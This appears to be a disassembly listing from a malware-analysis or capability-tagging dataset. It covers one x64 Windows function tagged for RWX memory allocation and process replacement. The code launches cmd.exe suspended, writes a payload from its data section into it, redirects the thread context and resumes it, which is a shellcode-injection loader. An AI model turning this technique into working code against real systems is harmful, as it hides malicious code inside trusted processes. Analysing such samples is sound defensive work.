Function at 0x14001127b
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
jmp 0x1400118b0
push rbp
push rdi
sub rsp, 0x888
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x17e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001d1c0]
xor rax, rbp
mov qword [rbp + 0x828], rax
lea rcx, [0x1400230a2]
call fcn.140011384
mov qword [rbp + 0x5d8], 0x171
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x10]
call fcn.1400112cb
mov dword [rbp + 0x10], 0x68
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x98]
call fcn.1400112cb
lea rax, [rbp + 0x98]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsSystem32cmd.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140011992
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateProcess_failed___d_._n
call fcn.140011195
mov eax, 1
jmp 0x140011b0e
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, qword [rbp + 0x5d8]
xor edx, edx
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x5b8], rax
cmp qword [rbp + 0x5b8], 0
jne 0x1400119e5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.VirtualAllocEx_failed___d_._n
call fcn.140011195
mov eax, 1
jmp 0x140011b0e
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x5d8]
lea r8, section..data
mov rdx, qword [rbp + 0x5b8]
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140011a32
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.WriteProcessMemory_failed___d_._n
call fcn.140011195
mov eax, 1
jmp 0x140011b0e
mov dword [rbp + 0x100], 0x10000b
lea rdx, [rbp + 0xd0]
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x140011a72
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.GetThreadContext_failed___d_._n
call fcn.140011195
mov eax, 1
jmp 0x140011b0e
mov rax, qword [rbp + 0x5b8]
mov qword [rbp + 0x1c8], rax
lea rdx, [rbp + 0xd0]
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x140011ab3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.SetThreadContext_failed___d_._n
call fcn.140011195
mov eax, 1
jmp 0x140011b0e
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x140011ae0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ResumeThread_failed___d_._n
call fcn.140011195
mov eax, 1
jmp 0x140011b0e
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001ad00]
call fcn.140011320
mov rax, rdi
mov rcx, qword [rbp + 0x828]
xor rcx, rbp
call fcn.1400111ae
lea rsp, [rbp + 0x838]
pop rdi
pop rbp
ret